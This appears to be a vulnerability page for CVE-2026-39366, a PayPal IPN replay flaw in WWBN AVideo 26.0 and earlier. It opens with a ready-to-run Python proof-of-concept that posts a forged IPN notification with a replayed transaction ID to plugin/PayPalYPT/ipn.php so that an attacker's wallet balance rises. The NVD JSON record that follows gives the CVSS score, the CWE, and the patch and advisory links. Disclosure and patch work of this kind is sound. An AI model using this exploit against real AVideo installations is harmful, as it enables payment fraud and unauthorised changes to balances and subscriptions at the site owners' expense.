CVE-2026-39366

import requests def exploit_avideo_replay(target_url, txn_id, amount): """ PoC for CVE-2026-39366: Replay a PayPal IPN notification. """ ipn_payload = { 'mc_gross': amount, 'protection_eligibility': 'Ineligible', 'payer_id': 'TESTPAYERID', 'tax': '0.00', 'payment_date': '20:12:2026', 'payment_status': 'Completed', 'charset': 'windows-1252', 'first_name': 'Test', 'mc_fee': '0.00', 'notify_version': '3.9', 'custom': 'attacker_user_id', 'payer_status': 'verified', 'business': '[email protected]', 'quantity': '1', 'verify_sign': 'SIG_PLACEHOLDER', 'payer_email': '[email protected]', 'txn_id': txn_id, # Vulnerable: Replaying this ID 'payment_type': 'instant', 'last_name': 'User', 'receiver_email': '[email protected]', 'payment_fee': '0.00', 'receiver_id': 'TESTRECEIVERID', 'txn_type': 'web_accept', 'item_name': 'Wallet Balance', 'mc_currency': 'USD', 'item_number': '', 'residence_country': 'US', 'handling_amount': '0.00', 'transaction_subject': '', 'payment_gross': amount, 'shipping': '0.00', 'ipn_track_id': 'placeholder' } try: response = requests.post(f"{target_url}/plugin/PayPalYPT/ipn.php", data=ipn_payload) if response.status_code == 200: print(f"[+] Request sent successfully. Check if balance increased for txn_id: {txn_id}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Usage # exploit_avideo_replay("http://target-site", "VALID_TXN_ID_TO_REPLAY", "100.00")

{"cve": {"id": "CVE-2026-39366", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:30.510", "lastModified": "2026-04-22T18:51:32.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-345"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/8f53e9d9c6aaa07d51ace30691981edbbfb5ca1c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mmw7-wq3c-wf9p", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mmw7-wq3c-wf9p", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}